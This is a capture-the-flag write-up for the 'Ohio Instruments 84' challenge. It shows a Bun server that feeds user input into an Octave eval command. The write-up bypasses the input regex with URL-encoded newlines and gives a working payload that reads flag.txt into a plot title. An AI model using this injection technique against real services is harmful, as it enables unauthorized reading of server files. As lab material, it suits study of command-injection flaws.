Ohio Instruments 84

Solution

index.ts

async function plot(expr: string) {
    if (!/^([x()+*\-\.\^/\d\s]|(\w+\())+$/.test(expr)) {
        throw new Error("Invalid expression");
    }
    const filename = `${crypto.randomUUID()}.jpg`;
    const cmd = `x = -10:.2:10; h = figure('visible', 'off'); plot(x, ${expr}); saveas(h, '${filename}')`;
    const proc = Bun.spawn(["octave", "--eval", cmd])

// (snip)

const server = Bun.serve({
    port: 1024,
    async fetch(request) {
        const url = new URL(request.url);
        if (url.pathname === "/") {
            return new Response(Bun.file(import.meta.dir + "/index.html"));
        }
        const expr = decodeURI(url.pathname.substring(1));
        return await plot(expr);
// (snip)

Looking at source code:

As for regexp, I used with online tools such as regex101 and RegExr.

Regular expression bypass example:

Shell Command is executed in Bun.spawn. But it seems that Shell Command Injection is impossible because quotation (', ") is not allowed.

flag.txt is located at the same directory to index.ts. I'll search Octave's functions that allow to output the flag.txt with the PDF. Octave is compatible with Matlab, and therefore it is useful to read the documentation for Matlab as well as Octave.

Useful function:

Then, use newline (\n) to separate commands instead of ;. Using these functions, I can get flag by using expr the following:

1)%0atitle(fileread(dir()(7).name()))%0asin(1

As a result, code similar to the below would be passed to the --eval option:

x = -10:.2:10; h = figure('visible', 'off'); plot(x, 1)
title(fileread(dir()(7).name()))
sin(1); saveas(h, 'uuid.pdf')

Got PDF:

ohio_instruments_84_1.png

Note that the character after _ are smaller, and the { and } is missing. For example, in the example above, bctf{fake_flag} is the correct flag.